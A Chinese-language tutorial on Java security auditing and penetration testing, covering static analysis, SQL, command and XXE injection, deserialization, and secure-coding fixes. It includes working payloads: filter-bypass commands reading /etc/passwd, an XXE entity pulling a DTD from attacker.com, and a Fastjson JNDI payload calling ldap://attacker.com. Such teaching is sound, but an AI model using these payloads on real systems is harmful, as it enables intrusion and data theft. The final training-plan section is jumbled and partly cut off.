目录
一、静态分析工具高阶用法
1. IDEA代码追溯技巧
操作流程:
实战案例:
// Controller层入口
@GetMapping("/user") public String getUser(@RequestParam String id) { return userService.findUser(id); }
// Service层处理
public String findUser(String userId) { String sql = "SELECT * FROM users WHERE id = " + userId;
// 漏洞点
return jdbcTemplate.query(sql, ...); }
追踪步骤:
- 在
jdbcTemplate.query(sql)
处按Alt+F7查看调用链 - 反向追踪
sql
变量的生成路径 - 确认
userId
是否来自用户输入
2. Semgrep自定义规则开发
示例:检测不安全的反射调用
rules: - id: unsafe-reflection patterns: - pattern: | Class.$CLASS().getMethod($METHOD, ...).invoke($OBJ, ...) - metavariable-regex: metavariable: $CLASS regex: (.*(Process|Runtime|File).*) message: 发现危险反射调用 languages: [java] severity: ERROR
扫描命令:
semgrep --config ./custom_rules/ --exclude 'test/' --json -o results.json
二、SQL注入深度突破
1. 不同数据库指纹识别
测试方法 | MYSQL | ORACLE | POSTGRESQL |
---|---|---|---|
注释符 | -- , # |
-- |
-- |
字符串拼接 | CONCAT() |
` | |
时间盲注 | SLEEP(5) |
DBMS_LOCK.SLEEP(5) |
PG_SLEEP(5) |
报错注入 | updatexml() |
utl_inaddr.get_host_name |
cast() |
2. MyBatis注入点定位
危险写法:
<select id="findUser" parameterType="String" resultType="User"> SELECT * FROM user WHERE name = '${name}' </select>
安全写法对比:
<select id="findUser" parameterType="String" resultType="User"> SELECT * FROM user WHERE name = #{name} </select>
审计技巧:
grep -rnw 'src/' -e '\${[a-zA-Z0-9_]*}'
三、命令注入进阶技巧
1. 绕过字符过滤的Payload
过滤条件 | 绕过方式 | 示例 |
---|---|---|
空格过滤 | ${IFS} 、< 、> |
127.0.0.1${IFS}cat/etc/passwd |
分号过滤 | && 、` |
|
斜杠过滤 | 变量替换 | a=etc;b=passwd;cat $a/$b |
黑名单关键字 | 通配符、编码 | c\at 、c''at 、c$@t |
2. 进程注入检测
// 危险代码示例 String cmd = "sh -c $@|sh . echo " + userInput; Runtime.getRuntime().exec(cmd);
检测方法:
strace -f -e execve -s 1024 java VulnerableClass 2>&1 | grep 'execve('
四、反序列化漏洞深度解析
1. 常见Gadget链特征
组件 | 危险类 | 触发条件 |
---|---|---|
Commons-Collections | Transformer、InvokerTransformer | CC3.1以下版本 |
JDK原生 | JdbcRowSetImpl、TemplatesImpl | 存在JNDI注入点 |
Fastjson | parseObject自动触发getter/setter | 开启autoType |
2. 自动化检测方案
步骤:
- 使用GadgetInspector扫描依赖包
java -jar gadget-inspector.jar target.jar
- 分析chains.txt输出结果
- 使用ysoserial生成对应链的Payload
防御方案验证:
public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals("SafeClass")) { throw new InvalidClassException("Unauthorized deserialization"); } return super.resolveClass(desc); } }
五、企业级审计流程
1. 安全代码审查清单
风险等级 | 检查项 | 验证方法 |
---|---|---|
高危 | 未授权访问、SQL注入、RCE | 代码扫描+人工验证 |
中危 | XSS、CSRF、越权 | 自动化工具+边界测试 |
低危 | 日志泄露、配置不当 | 配置检查+敏感信息扫描 |
2. 三方组件审计流程
工具链:
# 组件漏洞扫描 dependency-check.sh --project myproject --scan target/lib
六、渗透测试高阶技巧
1. SQL注入自动化利用
使用sqlmap进行二阶注入:
sqlmap -u "http://site.com/search" --data "query=test" --second-url "http://site.com/userinfo" --second-req "user=admin"
2. XXE漏洞深度利用
经典Payload:
<!-- 读取本地文件 --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user>&xxe;</user> <!-- 外带数据 --> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;
防御方案验证:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
七、企业级安全编码规范
1. 输入验证白名单示例
// 文件名校验 if (!fileName.matches("^[a-zA-Z0-9_\\-]+\\.(jpg|png)$")) { throw new InvalidFileNameException(); } // SQL参数过滤 String safeParam = userInput.replaceAll("[^a-zA-Z0-9@.]", "");
2. 密码存储规范
// BCrypt正确用法 BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12); String hashedPassword = encoder.encode(rawPassword); // 错误示范:使用SHA-256未加盐 DigestUtils.sha256Hex(password);
八、工具链配置优化
1. Burp Suite高效配置
# 配置文件 burp.json { "proxy": { "request_listeners": [ { "enabled": true, "intercept": "all", "auto_forward": false } ] }, "session": { "cookie_jar": { "store_cookies": true } } }
2. IDEA安全审计插件配置
<!-- 插件清单 plugins.xml --> <plugins> <plugin id="com.findsecbugs.findsecbugs-plugin"> <config> <detectors> <detector>SQL_INJECTION</detector> <detector>COMMAND_INJECTION</detector> </detectors> </config> </plugin> </plugins>
九、典型漏洞案例分析
案例1:Fastjson反序列化漏洞
漏洞代码:
JSON.parseObject(userInput, Object.class); // 开启autoType时危险
攻击Payload:
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true }
修复方案:
ParserConfig.getGlobalInstance().setSafeMode(true);
十、自动化审计系统搭建
1. 代码审计CI/CD流程
# GitLab CI 示例 stages: - security code_audit: stage: security script: - semgrep --config=p/java - dependency-check.sh --project $CI_PROJECT_NAME - spotbugs -textui -effort:max -high target/ artifacts: paths: - audit_report.html
2. 自定义规则仓库结构
rules/ ├── java │ ├── sql-injection.yaml │ ├── rce.yaml │ └── deserialization.yaml ├── python └── generic
实操:
环境准备阶段
使用Docker搭建完整靶场环境:docker run -d --name webgoat -p 8080:8080 webgoat/webgoat docker run -d --name juice-shop -p 3000:3000 bkimminich/juice-shop
每日训练计划
上午:静态分析工具实操(
完成以下任务视为掌握基础审计能力:-
- 在WebGoat中独立完成5种以上漏洞的利用和修复
- 对开源项目(如Spring PetClini
IDEA+Semgrep) 漏洞原理研究(分析CVE报告)
下午(1小时): 靶场渗透测试(WebGoat/Juice Shop)编写审计报告
技能验证标准
- c)完成安全审计并提交报告
- 编写至少3条有效的自定义Semgrep规则